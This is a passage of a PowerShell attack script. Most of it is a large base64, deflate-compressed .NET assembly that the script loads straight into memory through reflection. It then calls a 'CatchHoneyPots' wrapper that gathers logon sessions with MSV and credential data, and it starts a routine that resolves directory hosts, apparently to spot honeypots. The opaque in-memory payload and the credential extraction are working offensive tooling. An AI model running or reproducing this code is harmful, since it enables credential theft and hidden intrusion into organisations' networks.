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RVO5bopMmmOWgdDk39jZWOofUG7dbhGyvWdzPfWl+N4f83VpLDtjkc6G919aE5UNtvrFSHh23y1b1675HefetwZ0fd0ra21+5sbOqx3TsvTfF4B1a/dE2y//0GXv9Y4v67yeCUZG+QardL+L5eqZasHKTTq6likY/2N//+f/KPan9KWoYj/C786Wj4MU76PFzk4Oqd/jXpPgD93DKju6r1HubKWafdNd56bTjofs7QjvWOarzZaWmDntFrmm9qvc7nVKOzerL22kpH7baaumF/Q/at19ZWY6+9/fz1lZW75mBomPi+65jUNigeYBpW+7PuIWWgf3lI3qVjX7U1WKY7m75Ggt/N0E/09kobj2+9phr57gm0wMFrK8MW/eDAW6811bahv/b23c+OQHYK/+zo0u9+1sPr3c+yStP7ht7Xuw18c8ZGsFNM+51Xpxxb+nnyiRrzfAXf93nrtdNWd2P9tZWu2oGbki231fvJO7HV5EH9tZUTW/Z3wA2tr8XW11d3X1vp020HegN5oB238Esr6JpeO9vdhjyvX3ptrantHm7gRo/62q6+cYhi8XPDasyvgZNO6urgv12Vq3IqlS9n33nHuvib+492L/Whb4P2+ud3noGT+Zt/f+3+/X8=
'@
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](283136)
$DeflatedStream.Read($UncompressedFileBytes, 0, 283136) | Out-Null
try
{
if([Reflection.Assembly]::Load($UncompressedFileBytes))
{
$MyCompObj = New-Object CatchHoneyPots.CatchHoneyPotsWrapper
$LoadedRes = ($MyCompObj.GetSessions() | Select-Object -Property UserName,Domain,Session,SID,LogonTime,LogonServer,@{Name="MsvInfo"; Expression = {ConvertTo-Json20($_.MsvInfo)}}, @{Name="CredInfoList"; Expression = {$_.CredInfoList | select -Property @{Name="CredInfo"; Expression = {ConvertTo-Json20($_)}}}})
write-host "DLL LOADED SUCCESSFULLY" -ForegroundColor Red -BackgroundColor Black;
return $LoadedRes
}
}
catch
{
write-host "Dll loading failed" -ForegroundColor Red -BackgroundColor Black
}
}
$LoaderDNS = {
function Get-DNSTroll ($colResults)
{
$Results = @()
$MyCompObj = New-Object CatchHoneyPots.CatchHoneyPotsWrapper
$ResolvedDNS = $MyCompObj.GetIPAddresses(($colResults | foreach-object {$_.Properties.name}))
foreach ($objResult in $colResults)
{
$CurrHostname = $objResult.Properties.name | Out-string -stream
$IPAdd = ($ResolvedDNS.GetEnumerator() | Where-Object {$_.Key -eq $CurrHostname})
$IPVal = (($IPAdd.Value | Where-Object {$_.AddressFamily -eq "InterNetwork"}).IPAddressToString)
